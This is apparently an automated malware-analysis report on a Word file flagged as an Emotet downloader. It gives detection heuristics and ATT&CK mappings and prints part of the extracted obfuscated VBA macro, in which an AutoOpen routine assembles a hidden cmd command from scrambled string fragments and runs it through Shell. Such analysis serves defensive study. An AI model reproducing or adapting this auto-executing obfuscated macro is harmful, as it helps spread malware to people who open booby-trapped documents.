MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6776295-0', indicating it is likely an Emotet downloader. The presence of an AutoOpen VBA macro, as flagged by heuristics, further supports this. The macro's AutoOpen subroutine attempts to construct and execute a command using concatenated strings, which likely downloads and runs a secondary payload. The embedded URL, though benign, is noted as present.
Heuristics 5
-
ClamAV: Doc.Downloader.Emotet-6776295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6776295-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 29174 bytes |
SHA-256: 7014f01bb05f0ad7ed19f33afe4294a6c8f355b8f1d71da18f1279add47594d6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "zWYoKFI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
MiUopY = Rnd(pWUwE)
sKSok = CSng(fZUQj)
icVWJj = 3189
VivjX = 42
EnAZUJV = "" + YEtkczVlJ + PbiEhlDhB + CVar("cm") + iYPzBmOEImArR + ObYoHAPZUwz + mobLYbYlqGX + IzAozkSuCt + EzuwsJvccq + bHmmcNXvU + TVQFFSbtfPp + iCBiAhdwTSl + lvCUTzMAmPj + kDZJqNXiQ + oCkAsMsYhf + vKQwVvSzpz + vozrYkzjCNN + owjIl + cQdOvoYrtPo + jjnMlELov + sLHJJi + qtQpdPHmB + vCbmhQ + GVNLVwADiE + YbzUCvj + mkFiY + bPuFcD + KoASNZZn + WSnDXiouoaM + pqwQp + aDOzBKa + IHEAMtnzD + GaYuqKIoCd + pOEkjKNIQI + ZoHinzuNGMv + dBQqKdIJj + dbRwANV + EQaqk + wWBQb + THNowPnUa + PjRlGXbIMzq + vAEQbZfQihksFs
FkvUzF = 940
Shell@ EnAZUJV, 0
PLlBjt = Fix(iifGO - uApnYh)
fHBMKK = 63226897
WZdrS = 2
End Sub
Attribute VB_Name = "iDTXuijST"
Function mobLYbYlqGX()
On Error Resume Next
Gwkzc = CDate(9)
tnumNE = 146358328
PuKnN = CLng(SGznzw)
ZVHkMEzol = "d " + " "
whCzz = 590
TXAzDV = Sqr(3302311)
kmGocCSM = " /c "
vNvwzC = 5
GMKqKO = Log(BwpNGL / UjKTaw / 92068 + YUDpSr)
PlniOIIqkMA = " " + " " + " " + " CM%" + "LOc"
tnUsl = CStr(2)
zKonA = "alaP" + "PdaT" + "a:~-10," + "-"
mobLYbYlqGX = ZVHkMEzol + kmGocCSM + PlniOIIqkMA + zKonA
IWwFf = 8
End Function
Function IzAozkSuCt()
On Error Resume Next
AtLmfc = Oct(91796 * QopnUw)
OKRcz = ChrW(sPTDRz / iZQrh)
dkUSqD = 40
rwYWkfcM = "9% /" + "V: " + "/r" + CStr(Chr(qLBPdijH + QBnmCai + 34 + VNUkhLfBRuDjrD + dPqwZrN)) + "SE" + "T ]$_" + "'=/--" + "\\/_--_/\" + "\/_ /\/_-\"
IpMjU = Cos(177919007)
kRvzKo = Int(4)
LzlcsiYjZ = "-/\-_/-_" + "\ /_" + "-\_" + "/\-__\\//" + "-" + " -_\_/\/_/"
TmivZ = Round(RioMv * DbJbl)
zjdqNnrpB = "\_/--\ " + "_/_/-\\-/" + "-\_" + "/" + "_- \" + "_\/-_"
FtfKz = CLng(60000 - IUnaL)
AlSCUN = "_-_-" + "-//\\ _\_\" + "\__--/\/"
YnRAF = 13
uHjkjq = 789
uzBwo = 40
EnlhSKPwRj = "-/- \_/-/\" + "/-_-_" + "\/\-" + " " + "-\/__-" + "\\_/--\" + "// \//"
zuSIK = 450
ZmHoOZ = "_\/_-_" + "--/_\- " + "/" + "_\\_\" + "/__---" + "-\/ -/__"
wLWwP = uCAznc
GzDOij = Rnd(QwXwX)
uUZbGLWLM = "/-" + "\_" + "\_\/-/- --" + "_/_\" + "\\_/_//-\ " + "-_" + "--\__\//"
IzAozkSuCt = rwYWkfcM + LzlcsiYjZ + zjdqNnrpB + AlSCUN + EnlhSKPwRj + ZmHoOZ + uUZbGLWLM
nXrojA = 517996064
PXtVw = 74
End Function
Function EzuwsJvccq()
On Error Resume Next
mLjvjzVOL = "/\_\/ " + "-/_" + "_-\\-\/\-" + "__/ -\\" + "\-"
HqDDcGX = "___//" + "/-_-" + "/ -_/-\" + "\/"
kqlwHm = Sin(lApDw)
fqOiSwU = "_/_/_\-\ _" + "_\/\/\---/" + "-\__" + "}" + "\/_\/\\-" + "-/__-/" + "-"
fqpufa = "}_-/-" + "\_/\\" + "-_\_" + "//{" + "//\"
aCtwS = CLng(42733 + mSGPc)
fBuhz = CLng(BjiPX)
qnXDbBF = "//_\-_-_" + "\\--h\" + "-_\/\\/_" + "-__//-c" + "--\_"
jZHdpC = Oct(30541 / 34775)
DjjnF = Sgn(zvEij + PMvfE)
Haliw = CSng(82024 * iFWiV)
dJpLXj = "/-_/\_//_" + "\\t\/-\\" + "-\" + "_/"
bvnaR = WCjvCu
HvYLVH = 5
kATcPZ = Sin(2666)
jZtdZ = "//-___a_//" + "\_-\-_" + "\-" + "_//" + "-c" + "_---/_/"
BJYBbLi = "/_/_-\\" + "\}\__--" + "/-_\-_//\" + "\;" + "\__-"
EzuwsJvccq = mLjvjzVOL + HqDDcGX + fqOiSwU + fqpufa + qnXDbBF + dJpLXj + jZtdZ + BJYBbLi
VAPjCI = lWqio
cHctiE = Round(5873)
End Function
Function bHmmcNXvU()
On Error Resume Next
ROptdfvwK = "\-\//__/-"
tOQTp = SaBOTu
LqdQs = Tan(XkERC)
kDPANCwLiw = "-\k/" + "/\/\-_\" + "__" + "/" + "-_--a" + "/\\_/-_\/-" + "\-/_-e_"
DGAWvt = 319863162
YTBwJFawmku = "-" + "_\-\/" + "/_\-/-\/r" + "/\/\_\/"
ntczP = 6995
fjlQJNwsJHv = "_\--/__-b" + "\\/_/_" + "//\-__--" + "\;_/_-\/" + "-\"
WWKrj = ChrW(QjzKcL)
NKsHZ = Atn(zXPnJ)
iAUpl = "-"
VUKqzT = Round(63676 + 22860 + 33086 + duBwj)
twBswt = "__-\\/K_" + "--\-/_" + "/-\/\/\" + "_I-_-" + "_" + "/_-/\\-_/\" + "/h_\-"
bHmmcNXvU = ROptdfvwK + kDPANCwLiw + YTBwJFawmku + fjlQJNwsJ
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.